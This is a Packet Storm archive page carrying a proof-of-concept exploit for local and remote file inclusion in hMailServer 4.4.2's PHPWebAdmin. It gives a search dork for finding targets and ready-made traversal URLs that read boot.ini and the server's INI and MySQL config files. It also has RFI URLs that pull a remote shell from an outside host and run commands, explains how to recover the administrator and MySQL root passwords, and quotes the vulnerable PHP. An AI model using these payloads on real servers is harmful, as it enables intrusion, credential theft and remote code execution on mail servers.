what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hmailserver-lfirfi.txt

hmailserver-lfirfi.txt
Posted Nov 7, 2008
Authored by Nine:Situations:Group | Site retrogod.altervista.org

hMailServer version 4.4.2 suffers from local and remote file inclusion vulnerabilities.

tags | exploit, remote, local, vulnerability, code execution, file inclusion
SHA-256 | 2c7e256c71d18426b5c448b76b894458b0780a81b771e18759cf5567f1651797

hmailserver-lfirfi.txt

Change Mirror Download
hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion poc
by Nine:Situations:Group::strawdog
------------------------------------------------------------------------

our site: http://retrogod.altervista.org

software site: http://www.hmailserver.com/
description: http://en.wikipedia.org/wiki/HMailServer
------------------------------------------------------------------------
google dork: "PHPWebAdmin for hMailServer" intitle:PHPWebAdmin -site:hmailserver.com -dork

poc:

regardless of register_globals & magic_quotes_gpc:
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../../boot.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../Bin/hMailServer.INI%00
http://hostname/path_to_webadmin/index.php?page=background/../../MySQL/my.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../..
/../Program+Files/hmailserver/Bin/hmailserver.ini%00

with register_globals = on:
(prepare a functions.php folder on somehost.com with an index.html with your shell inside on
a php enabled server,
otherwise a functions.php shell on a php disabled one)
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/&cmd=dir

with register_globals = on & magic_quotes_gpc = off :
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\boot.ini%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/shell.txt%00&cmd=dir
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\Program+Files\hMailServer\Bin\hMailServer.INI%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=../Bin/hMailServer.INI%00

"Bin" folder can be found in a different location, disclose the path by simply calling:

http://hostname/path_to_webadmin/initialize.php

interesting file:

hMailServer.INI - contains two interesting fields:
- the "Administrator password" crypted with md5,
- by having knowledge of that you can calculate the MySQL root password,
specified in the "password" field.
You can do this by using the /Addons/Utilities/DecryptBlowfish.vbs script

(*)
vulnerable code, index.php:
<?php


error_reporting(E_ALL);

if (!file_exists("config.php"))
{
echo "Please rename config-dist.php to config.php. The file is found in the

PHPWebAdmin root folder.";
die;
}

require_once("config.php");
require_once("initialize.php");

set_error_handler("ErrorHandler");

if (is_php5())
set_exception_handler("ExceptionHandler");



$page = hmailGetVar("page");

if ($page == "")
$page = "frontpage";

$isbackground = (substr($page, 0,10) == "background");


if ($isbackground)
$page = "$page.php";
else
$page = "hm_$page.php";

// Check that the page really exists.
$page = stripslashes($page);
if (!file_exists($page))
hmailHackingAttemp();

// If it's a background page, run here.
if ($isbackground)
{
include $page; //<------------------------------------------ !!!

// Page is run, die now.
die;
}
..

for clearness, here it is hmailGetVar() function in /include/functions.php:
..
function hmailGetVar($p_varname, $p_defaultvalue = null)
{
$retval = $p_defaultvalue;
if(isset($_GET[$p_varname]))
{
$retval = $_GET[$p_varname];
}
else if (isset($_POST[$p_varname]))
{
$retval = $_POST[$p_varname];
}
else if (isset($_REQUEST[$p_varname]))
{
$retval = $_REQUEST[$p_varname];
}

if (get_magic_quotes_gpc())
$retval = stripslashes($retval);

return $retval;
}
..

so the "page" argument can be passed by $_GET[], $_POST[] or $_COOKIE[] arrays.
Note the stripslashes(), which disable magic_quotes_gpc on every argument passed.

(**)
initialize.php:
..
$hmail_config['rootpath'] = str_replace("\\","/",$hmail_config['rootpath']);
$hmail_config['includepath'] = str_replace("\\","/",$hmail_config['includepath']);
$hmail_config['temppath'] = str_replace("\\","/",$hmail_config['temppath']);
require_once($hmail_config['includepath'] . "functions.php");
..
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close